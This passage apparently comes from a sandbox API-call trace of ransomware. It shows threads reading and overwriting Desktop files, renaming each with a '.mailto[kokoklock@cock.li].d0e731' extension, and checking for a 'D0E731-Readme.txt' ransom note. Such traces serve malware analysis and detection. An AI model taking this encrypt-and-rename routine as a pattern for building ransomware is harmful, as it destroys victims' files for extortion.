returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" [0070.926] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.954] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e61e0) returned 1 [0070.955] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav", dwFileAttributes=0x20) returned 0 [0070.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480420 [0070.955] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.955] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.955] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0070.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34275b0) returned 1 [0070.955] RtlExitUserThread (Status=0x1) Thread: id = 463 os_tid = 0x12d0 [0070.249] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp")) returned 0x20 [0070.249] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp", dwFileAttributes=0x20) returned 1 [0070.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.250] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1353f858 | out: lpFileSize=0x1353f858*=19951) returned 1 [0070.250] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x4deb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.250] ReadFile (in: hFile=0x470, lpBuffer=0x1353f82c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x1353f82c*, lpNumberOfBytesRead=0x1353f828*=0x4, lpOverlapped=0x0) returned 1 [0070.250] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422eb0 [0070.250] NtQuerySystemTime (in: CurrentTime=0x1353f804 | out: CurrentTime=0x1353f804*=132121176281504269) returned 0x0 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xee50d4b5 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x2b6cdaa2 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xcda19fef [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x7968df05 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x38869f18 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x78f1c8c0 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x79fce55e [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x59081874 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xd420a00f [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xc27c03c3 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xbb0af5c7 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x263d755c [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xf25175a2 [0070.250] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x89b26f10 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x6a3a7bb3 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xbae0fc90 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x49fcae76 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x178a6899 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x45d30f60 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x3b1cd05e [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xc6d351dc [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x9799068 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x38682b83 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xeacafe7d [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x6d0ecd4b [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xb27dba52 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x7157cdab [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x1c0d3ded [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xee5ccbb5 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xf534c7ea [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0xbfbfcc63 [0070.251] RtlRandom (in: Seed=0x1353f810 | out: Seed=0x1353f810) returned 0x797d68c2 [0070.263] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.263] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1353f7dc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1353f7dc*=0x4096, lpOverlapped=0x0) returned 1 [0070.263] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.263] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f00 [0070.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1353f7dc, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1353f7dc*=0x4096, lpOverlapped=0x0) returned 1 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.264] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x4def, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x3422f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1353f814, lpOverlapped=0x0 | out: lpBuffer=0x3422f00*, lpNumberOfBytesWritten=0x1353f814*=0x20, lpOverlapped=0x0) returned 1 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422f00) returned 1 [0070.264] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x1353f828*=0x8, lpOverlapped=0x0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x1353f840*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x1353f840*, lpNumberOfBytesWritten=0x1353f828*=0x4, lpOverlapped=0x0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1353f828*=0x4, lpOverlapped=0x0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1353f828*=0x6c, lpOverlapped=0x0) returned 1 [0070.264] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x1353f828*=0x20, lpOverlapped=0x0) returned 1 [0070.265] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1353f828, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1353f828*=0x4, lpOverlapped=0x0) returned 1 [0070.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.265] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.265] CloseHandle (hObject=0x470) returned 1 [0070.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c1f8 [0070.927] wcscpy (in: _Dest=0x347c1f8, _Source="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" [0070.927] wcscat (in: _Dest=0x347c1f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" [0070.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qprye_u yi.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.952] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c1f8) returned 1 [0070.953] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qprYe_u yi.bmp", dwFileAttributes=0x20) returned 0 [0070.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.953] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.953] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.953] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431728) returned 1 [0070.954] RtlExitUserThread (Status=0x1) Thread: id = 464 os_tid = 0x12d4 [0070.268] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav")) returned 0x20 [0070.268] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav", dwFileAttributes=0x20) returned 1 [0070.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.269] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x135bfb94 | out: lpFileSize=0x135bfb94*=27801) returned 1 [0070.269] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x6c95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.269] ReadFile (in: hFile=0x470, lpBuffer=0x135bfb68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x135bfb68*, lpNumberOfBytesRead=0x135bfb64*=0x4, lpOverlapped=0x0) returned 1 [0070.269] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.269] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.269] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.269] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422ed8 [0070.269] NtQuerySystemTime (in: CurrentTime=0x135bfb40 | out: CurrentTime=0x135bfb40*=132121176281660514) returned 0x0 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xa9872ad1 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x1cb50139 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xb08baa45 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xd02e54d2 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xb6a3633a [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xd3c4fc0c [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x41e0c655 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xaddf37fb [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x6ba78b15 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x94833816 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x9e053075 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x2a42a9c5 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xffead40f [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x19ca0a98 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xd36a71ab [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x25e96f66 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xa893592b [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x357c222b [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x20e99709 [0070.269] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x5882870b [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xa94d55e9 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x2c2043e7 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x19a931b7 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x1b3ebaf2 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x20d0740f [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xfeae8d29 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x60289115 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0xa81eef1c [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x967ba131 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x11c0dfcd [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x11c16600 [0070.270] RtlRandom (in: Seed=0x135bfb4c | out: Seed=0x135bfb4c) returned 0x2ef79520 [0070.289] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.289] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x135bfb18, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x135bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0070.289] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422f00 [0070.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.290] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x135bfb18, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x135bfb18*=0x4096, lpOverlapped=0x0) returned 1 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.290] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x6c99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.290] WriteFile (in: hFile=0x470, lpBuffer=0x3422f00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x135bfb50, lpOverlapped=0x0 | out: lpBuffer=0x3422f00*, lpNumberOfBytesWritten=0x135bfb50*=0x20, lpOverlapped=0x0) returned 1 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422f00) returned 1 [0070.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.290] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x135bfb64*=0x8, lpOverlapped=0x0) returned 1 [0070.290] WriteFile (in: hFile=0x470, lpBuffer=0x135bfb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x135bfb7c*, lpNumberOfBytesWritten=0x135bfb64*=0x4, lpOverlapped=0x0) returned 1 [0070.290] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x135bfb64*=0x4, lpOverlapped=0x0) returned 1 [0070.291] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x135bfb64*=0x6c, lpOverlapped=0x0) returned 1 [0070.291] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x135bfb64*=0x20, lpOverlapped=0x0) returned 1 [0070.291] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x135bfb64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x135bfb64*=0x4, lpOverlapped=0x0) returned 1 [0070.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.291] CloseHandle (hObject=0x470) returned 1 [0070.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6288 [0070.927] wcscpy (in: _Dest=0x33e6288, _Source="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" [0070.927] wcscat (in: _Dest=0x33e6288, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" [0070.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\s51-ba5kuv_0nwfh.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.951] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6288) returned 1 [0070.951] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav", dwFileAttributes=0x20) returned 0 [0070.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fac0 [0070.951] wcscpy (in: _Dest=0x347fac0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.951] wcscat (in: _Dest=0x347fac0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.951] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fac0) returned 1 [0070.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427410) returned 1 [0070.952] RtlExitUserThread (Status=0x1) Thread: id = 465 os_tid = 0x12d8 [0070.295] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp")) returned 0x20 [0070.295] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp", dwFileAttributes=0x20) returned 1 [0070.295] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" (normalized: "c:\\users\\fd1hvy\\desktop\\sz tn3fnluirhzick.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.296] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1363f97c | out: lpFileSize=0x1363f97c*=52235) returned 1 [0070.296] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0xcc07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.296] ReadFile (in: hFile=0x470, lpBuffer=0x1363f950, 